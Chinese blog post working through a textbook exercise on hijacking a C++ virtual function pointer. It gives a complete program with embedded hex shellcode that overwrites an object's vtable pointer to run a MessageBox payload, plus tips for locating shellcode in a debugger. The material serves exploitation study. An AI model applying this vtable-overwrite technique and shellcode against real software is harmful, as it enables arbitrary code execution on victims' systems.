旧书重温:0day2【9】第六章 攻击c++的虚函数

不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场!

其中部分文章截图 http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/  密码: NQK3S

好久没有写文章了,最近刚买了新鼠标+新耳机,CF幽灵撸起来很牛B呀! 所以一直没时间研究溢出了,今天玩逆了CF,还是看看书吧!哈哈!就有了本文

 

这篇文章如T:操作过程简单些,所以:先把这个搞定下,鼓舞下士气,哈哈!(xp sp2 +vc6.0 系统下载参考第一篇)

 

旧书重温:0day2【9】第六章 攻击c++的虚函数
 1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application.
 2 //
 3 
 4 #include "stdafx.h"
 5 #include <stdio.h>
 6 #include <string.h>
 7 char shellcode[] = {
 8                 
 9                 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"10                 "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"11                 "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"12                 "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"13                 "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"14                 "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"15                 "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"16                 "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"17                 "\xFC\x53\xFF\x57\xF8\x74\x7d\x42"}; // 427d74 指向 overflow的buf 头,也就是复制过去的shllcode头位置
18 class zhenw0
19 {
20 public:
21     char buf[200];
22     virtual void test(void)
23     {
24         printf("class zhenw0:test() \n");
25 
26     }
27 };
28 
29 zhenw0 overflow,*p;
30 
31 int main(int argc, char* argv[])
32 {
33     char * p_vtable;
34     
35     p_vtable  = overflow.buf - 4;
36     p_vtable[0] = 0x29;    // 427e29 指向 overflow.buf承载的shellcode末尾
37     p_vtable[1] = 0x7e;
38     p_vtable[2] = 0x42;
39     p_vtable[3] = 0x00;
40     strcpy(overflow.buf,shellcode);
41     //__asm int 3
42     p = &overflow;
43     p->test();
44 
45 
46     return 0;
47 }
旧书重温:0day2【9】第六章 攻击c++的虚函数

 

就如文章描述一样 我们修改虚函数指针的指向,这里把 虚函数的指针指向了over.buf中的shellocde的末尾!

而shllcode末尾指向了overflow.buf也就是我们的shllcode,当触发test()的时候,就通过与函数表找到了假的函数地址,就执行了shellcode 就MSGbox 了下

 旧书重温:0day2【9】第六章 攻击c++的虚函数

其中:定位我们的shellcode 位置很重要, 我教大家个办法

1.在shellcode 中 添加4个 x90 

2.加入int3 od断下,在od的数据区搜索二进制字符串 

旧书重温:0day2【9】第六章 攻击c++的虚函数

 

其中没有执行strcpy函数以前,找到的是 全局的shllcode,执行了strcpy()就有两次,如何区分就简单了。。。

 

----------------------------------------------------

| QQ252738331

| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

| 微博: http://t.qq.com/zhenw0

----------------------------------------------------

旧书重温:0day2【9】第六章 攻击c++的虚函数

上一篇:一步步做C++高性能服务器


下一篇:C++操作xls